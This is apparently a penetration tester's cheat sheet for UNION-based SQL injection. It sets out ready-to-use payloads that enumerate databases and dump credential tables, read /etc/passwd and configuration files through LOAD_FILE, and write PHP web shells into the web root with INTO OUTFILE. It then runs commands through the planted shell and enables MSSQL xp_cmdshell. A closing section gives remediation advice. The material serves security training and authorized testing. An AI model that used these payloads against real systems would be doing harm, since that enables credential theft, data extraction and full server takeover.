πŸ›‘οΈ Methodology Checklist

  • Current DB/user: SELECT database(); SELECT user();
  • All databases: SELECT schema_name FROM information_schema.schemata
  • Tables in DB: SELECT table_name FROM information_schema.tables WHERE table_schema='[DB]'
  • Columns: SELECT column_name FROM information_schema.columns WHERE table_name='[TABLE]'
  • Dump credentials table: SELECT username,password FROM users
  • Check FILE privilege: SELECT file_priv FROM mysql.user WHERE user='[USER]'
  • Write webshell (if FILE and web writable): SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'

🎯 Operational Context

Use when: SQLi confirmed β€” enumerate database tables, extract credentials, and escalate to OS command execution if DB privileges permit. Think Dumber First: information_schema.tables reveals all tables. information_schema.columns WHERE table_name='users' reveals columns. Then SELECT username,password FROM users β€” this exact pattern works on MySQL/PostgreSQL/MSSQL. Skip when: DB user has minimal SELECT-only privileges β€” file read/write and OS commands won’t be available.


⚑ Tactical Cheatsheet

CommandTactical Outcome
cn' UNION SELECT 1,@@version,3,4-- -DBMS fingerprint (also: POW(1,1) numeric, SLEEP(5) blind)
cn' UNION SELECT 1,database(),3,4-- -Current database name
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -List all databases
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -List tables in target DB
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -List columns in target table
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -Dump data (dot operator for cross-DB reference)
cn' UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM dev.credentials-- -Merge columns when only 1 reflection point
cn' UNION SELECT 1, user(), 3, 4-- -Identify current DB user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="[USER]"-- -Verify superuser privilege
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'[USER]'@'localhost'"-- -Check FILE privilege
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -Check file write restrictions
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -Read local file (requires FILE privilege)
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -Read PHP source (view raw HTML source in browser: Ctrl+U)
cn' UNION SELECT 1, 'proof', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- -Write test file
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -Drop PHP web shell (use "" not numbers for clean PHP)
http://[TARGET_IP]/shell.php?0=idExecute command via dropped web shell
SELECT FROM_BASE64("<B64>") INTO OUTFILE '/tmp/payload'Write binary payload via base64 decode

πŸ”¬ Deep Dive & Workflow

INFORMATION_SCHEMA Enumeration Path

-- 1. Fingerprint
cn' UNION SELECT 1,@@version,3,4-- -
 
-- 2. List all DBs
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
-- Ignore: mysql, information_schema, performance_schema, sys
 
-- 3. Check current DB
cn' UNION SELECT 1,database(),3,4-- -
 
-- 4. List tables in target DB (ALWAYS filter by schema β€” avoids noise)
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dev'-- -
 
-- 5. List columns (filter by table name)
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
 
-- 6. Dump (DOT OPERATOR β€” mandatory for cross-database refs)
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -

Key Traps

  • Dot operator trap: FROM credentials fails if not in that DB. Must use FROM dev.credentials
  • Single reflection point: Use GROUP_CONCAT(col1,':',col2) or CONCAT() to merge
  • HTML rendering trap: PHP source rendered by browser β€” press Ctrl+U to see raw HTML

File Read Escalation Chain

-- 1. Am I root?
cn' UNION SELECT 1, user(), 3, 4-- -
 
-- 2. Do I have FILE privilege?
cn' UNION SELECT 1, grantee, privilege_type, 4
FROM information_schema.user_privileges
WHERE grantee="'root'@'localhost'"-- -
 
-- 3. Read
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -

Fails silently if OS user running MySQL lacks read permission for the file.

File Write β†’ RCE Chain

-- 1. Check secure_file_priv (empty = write anywhere; NULL = blocked)
cn' UNION SELECT 1, variable_name, variable_value, 4
FROM information_schema.global_variables
WHERE variable_name="secure_file_priv"-- -
 
-- 2. Test write
cn' UNION SELECT 1, 'test', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- -
 
-- 3. Drop shell (CRITICAL: use "" not numbers for padding)
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", ""
INTO OUTFILE '/var/www/html/shell.php'-- -
 
-- 4. Execute
# curl "http://[TARGET_IP]/shell.php?0=id"

Finding web root if /var/www/html fails:

  • Read /etc/apache2/apache2.conf β†’ DocumentRoot
  • Read /etc/nginx/nginx.conf β†’ root
  • Read IIS: %WinDir%\System32\Inetsrv\Config\ApplicationHost.config
  • Fuzz with ffuf + default-web-root-directory-linux.txt

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
information_schema not accessibleOracle DBOracle uses: SELECT table_name FROM all_tables not information_schema
Database dump takes too longLarge tableExtract specific columns: LIMIT 10 OFFSET 0; iterate in chunks
File read failsInsufficient privilegesCheck: SELECT file_priv FROM mysql.user WHERE user=user(); need FILE privilege
MSSQL xp_cmdshell not enabledDefault disabledEnable: EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE β€” requires sysadmin
UNION extraction shows NULLWrong column indexCycle through column indices: UNION SELECT NULL,table_name,NULL FROM information_schema.tables

πŸ“ Reporting Trigger

Finding Title: SQL Injection Enables Full Database Extraction and OS Command Execution Impact: SQL injection with elevated database privileges allows complete extraction of all database contents including credentials, session tokens, and PII, plus OS command execution via xp_cmdshell providing full server compromise. Root Cause: SQL injection combined with over-privileged database account (db_owner or sysadmin). No input parameterization and no principle of least privilege on database accounts. Recommendation: Parameterize all queries. Apply minimal database permissions β€” application accounts need only SELECT/INSERT/UPDATE on specific tables. Disable xp_cmdshell and dangerous stored procedures. Implement WAF with SQL injection detection.